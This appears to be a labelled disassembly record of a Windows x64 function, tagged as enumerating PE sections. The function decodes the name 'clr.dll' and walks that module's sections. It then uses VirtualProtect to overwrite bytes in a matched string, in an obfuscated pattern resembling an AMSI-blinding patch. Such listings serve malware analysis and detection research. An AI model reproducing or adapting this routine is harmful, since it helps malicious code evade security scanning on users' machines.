Function at 0x1800022e0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x78
mov eax, dword [0x1800052b0]
movsd xmm0, qword [0x1800052a8]
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x40], eax
movzx eax, word [0x1800052b4]
movsd qword [rbp - 0x48], xmm0
mov word [rbp - 0x3c], ax
movzx eax, byte [0x1800052b6]
mov byte [rbp - 0x3a], al
mov eax, dword [0x1800052b8]
mov dword [rbp + 0x58], eax
movzx eax, word [0x1800052bc]
mov word [rbp + 0x5c], ax
movzx eax, byte [0x1800052be]
mov byte [rbp + 0x5e], al
movabs rax, 0x93939bd18d939c
mov qword [rbp - 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rbp - 0x50]
mov r8b, 0xff
mov edx, 7
mov rbx, rax
mov qword [rbp - 0x58], rax
call fcn.1800011a0
lea rcx, [rbp + 0x58]
mov r8b, 0xff
mov edx, 6
call fcn.1800011a0
lea rcx, [rbp - 0x48]
mov r8b, 0xff
mov edx, SafeArrayDestroy
call fcn.1800011a0
xor edx, edx
mov dword [rbp + 0x48], 0x28fc
mov ecx, edx
mov qword [rbp + 0x60], rdx
mov r15d, edx
mov r12d, edx
mov r13d, edx
nop word [rax + rax]
mov eax, dword [rbp + 0x48]
cmp eax, 0x28fc
je 0x180002581
cmp eax, 0x18ba2
je 0x18000253b
cmp eax, 0x1eb65
jne 0x180002592
mov edi, edx
cmp dx, word [rcx + 6]
jae 0x18000252b
movsxd rsi, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x58]
mov r8, rsi
mov rcx, r15
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x180002427
mov eax, dword [r15 + 0xc]
mov r14d, dword [r15 + 8]
mov dword [rbp + 0x48], 0x5faf
add rbx, rax
add r14, rax
mov eax, dword [rbp + 0x48]
add r14, qword [rbp - 0x58]
cmp eax, eax
je 0x18000244b
mov rbx, qword [rbp - 0x58]
mov rcx, qword [rbp + 0x60]
inc edi
add r15, 0x28
movzx eax, word [rcx + 6]
cmp edi, eax
jl 0x1800023f0
mov rbx, qword [rbp - 0x58]
xor edx, edx
mov dword [rbp + 0x48], 0x31ab7
jmp 0x1800023b0
lea rax, [rbx + 1]
movsxd rdi, r13d
add rax, rdi
cmp rax, r14
jae 0x180002525
xor esi, esi
lea rdx, [rbp - 0x48]
mov r8, rdi
mov rcx, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x180002512
mov dword [rbp + 0x50], esi
mov dword [rbp + 0x48], 0x3f92
mov eax, dword [rbp + 0x48]
cmp eax, 0x3f92
je 0x1800024fb
cmp eax, 0x1ae8a
je 0x1800024f2
cmp eax, 0x1df57
jne 0x180002507
lea rdx, [rbp - 0x38]
mov r8d, 0x30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x38]
lea r9, [rbp - 0x14]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180002592
mov r8d, dword [rbp - 0x14]
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x38]
lea r9, [rbp + 0x50]
mov byte [rbx], 0x61
mov byte [rbx + 4], 0x69
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rbp + 0x48], 0x1ae8a
jmp 0x180002481
mov dword [rbp + 0x48], 0x1f642
jmp 0x180002481
mov dword [rbp + 0x48], 0x1df57
jmp 0x180002481
cmp eax, 0x1f642
je 0x180002592
inc rbx
lea rax, [rbx + 1]
add rax, rdi
cmp rax, r14
jb 0x180002460
mov rcx, qword [rbp + 0x60]
xor edx, edx
mov rbx, qword [rbp - 0x58]
mov dword [rbp + 0x48], 0x31ab7
jmp 0x1800023b0
lea rax, [rbp + 0x58]
or r12, 0xffffffffffffffff
inc r12
cmp byte [rax + r12], 0
jne 0x180002543
lea rax, [rbp - 0x48]
or r13, 0xffffffffffffffff
inc r13
cmp byte [rax + r13], 0
jne 0x180002555
movsxd rcx, dword [rbx + 0x3c]
add rcx, rbx
mov qword [rbp + 0x60], rcx
movzx eax, word [rcx + 0x14]
lea r15, [rcx + 0x18]
mov dword [rbp + 0x48], 0x1eb65
add r15, rax
jmp 0x1800023b0
test rbx, rbx
je 0x180002592
mov dword [rbp + 0x48], 0x18ba2
jmp 0x1800023b0
add rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret